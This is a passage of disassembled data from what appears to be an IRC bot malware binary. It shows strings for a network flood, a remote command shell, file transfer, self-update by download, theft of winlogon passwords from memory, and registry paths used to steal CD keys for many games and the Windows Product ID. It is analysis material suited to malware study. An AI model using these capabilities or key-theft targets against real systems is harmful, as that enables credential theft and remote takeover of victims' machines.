20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_43616C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436180 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 4 dword_4361B8 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_4361CC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361E0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361FC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 4 dd 80000001h off_43622C dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436238 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 4373BCh, 4373B0h, 4373A0h, 2 dup(0) dd 80000001h, 437380h, 43737Ch, 437368h, 2 dup(0) dd 80000001h, 437344h, 43737Ch, 437338h, 2 dup(0) dd 80000001h, 437314h, 43730Ch, 4372F8h, 2 dup(0) dd 80000001h, 4372E4h, 4372D4h, 4372B8h, 2 dup(0) dd 80000001h, 437274h, 4373FCh, 437260h, 2 dup(0) dd 80000002h, 437234h, 437228h, 437208h, 2 dup(0) dd 80000002h, 4371D4h, 4373FCh, 4371BCh, 2 dup(0) dd 80000002h, 437188h, 4373FCh, 437170h, 2 dup(0) dd 80000002h, 437158h, 4373FCh, 437140h, 2 dup(0) dd 80000002h, 437104h, 43D158h, 4370F4h, 2 dup(0) dd 80000002h, 4370BCh, 43D158h, 4370A8h, 2 dup(0) dd 80000002h, 43705Ch, 43D158h, 43703Ch, 2 dup(0) dd 80000002h, 436FECh, 43D158h, 436FC0h, 2 dup(0) dd 80000002h, 436F84h, 43D158h, 436F70h, 2 dup(0) dd 80000002h, 436F38h, 43D158h, 436F28h, 2 dup(0) dd 80000002h, 436ED8h, 43D158h, 436EACh, 2 dup(0) dd 80000002h, 436E6Ch, 43D158h, 436E50h, 2 dup(0) dd 80000002h, 436E20h, 43D158h, 436E00h, 2 dup(0) dd 80000002h, 436DC4h, 43D158h, 436DB0h, 2 dup(0) dd 80000002h, 436D68h, 43D158h, 436D48h, 2 dup(0) dd 80000002h, 436CF4h, 43D158h, 436CC4h, 2 dup(0) dd 80000002h, 436C74h, 43D158h, 436C48h, 2 dup(0) dd 80000002h, 436C08h, 436C00h, 436BE0h, 2 dup(0) dd 80000002h, 436B9Ch, 43D158h, 436B80h, 2 dup(0) dd 80000002h, 436B34h, 43D158h, 436B10h, 2 dup(0) dd 80000002h, 436ADCh, 43D158h, 436AD0h, 2 dup(0) dd 80000002h, 436A9Ch, 43D158h, 436A90h, 2 dup(0) dd 80000002h, 436A5Ch, 43D158h, 436A50h, 2 dup(0) dd 80000002h, 436A1Ch, 43D158h, 436A10h, 2 dup(0) dd 80000002h, 4369D4h, 43D158h, 4369C0h, 2 dup(0) dd 80000002h, 436984h, 43D158h, 436970h, 2 dup(0) dd 80000002h, 436940h, 4373FCh, 436924h, 2 dup(0) dd 80000002h, 436904h, 4368FCh, 4368D8h, 2 dup(0) dd 80000002h, 4368BCh, 4368FCh, 43689Ch, 2 dup(0) dd 80000002h, 43687Ch, 4368FCh, 436858h, 2 dup(0) dd 80000002h, 436840h, 4368FCh, 43683Ch, 2 dup(0) dd 80000002h, 436820h, 436810h, 436808h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_4367D4[eax], al push eax retn 42h ; --------------------------------------------------------------------------- dd offset aHiddenDangerou ; "Hidden & Dangerous 2" dd 2 dup(0) dd 80000002h, 436780h, 436774h, 43674Ch, 43673Ch, 436728h dd 80000002h, 436704h, 4366F8h, 4366E4h, 4366D4h, 4366CCh dd 80000002h, 436704h, 4366F8h, 4366A0h, 4366D4h, 436698h dd 80000002h, 436704h, 4366F8h, 436668h, 4366D4h, 436660h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365DCo align 4 byte_4367D4 db 53h ; DATA XREF: ___:004365D2w aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436234o aCdkey db 'CDKey',0 ; DATA XREF: ___:00436230o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_43622Co align 4 asc_43742C: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437430 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_4374AC db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_4374D0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374E8 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_437514 db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437538 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437550 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437568 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437588 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4375AC db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_4375D0 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375FC db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43761C db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_43764C db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43767C db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4376A8 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376DC db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_437720 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_43773C db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437774 db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_43779C db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_4377C8 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_4377F0 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_437818 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 4 off_437868 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_43786C dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 10h unk_437880 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4378BC db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_4378F8 dd offset byte_5C3A41 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437968 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43799C db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_437A00 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A5C dd offset aSgu+1 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A74 dd offset aSgu+1 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 4 unk_437B38 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B84 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437BD4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437C28 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" dd offset dword_4387D8 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" ; --------------------------------------------------------------------------- aam 87h inc ebx add [eax+0C0042AAh], ch retn ; --------------------------------------------------------------------------- dw 42h dd offset aP ; "p" dd offset aA ; "a" dd offset aS_0 ; "s" dd offset aD ; "d" dd offset dword_4387D0 dd offset dword_4387CC dd offset dword_4387C8 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_4387C4 dd offset dword_4387C0 dd offset dword_4387BC dd offset aC ; "c" dd offset aV ; "v" dd offset dword_4387B8 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4387B4 dd offset dword_4387B0 dd offset dword_4387AC dd offset dword_4387A8 dd offset dword_4387A4 dd offset word_4387A0 dd offset dword_43879C dd offset aI_0 ; "I" dd offset dword_438798 dd offset dword_438794 dd offset aA_0 ; "A" dd offset dword_438790 dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset dword_438780 dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset dword_438768 dd offset dword_438764 dd offset dword_438760 dd offset word_43875C dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384F4 dd offset off_4384F0 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; 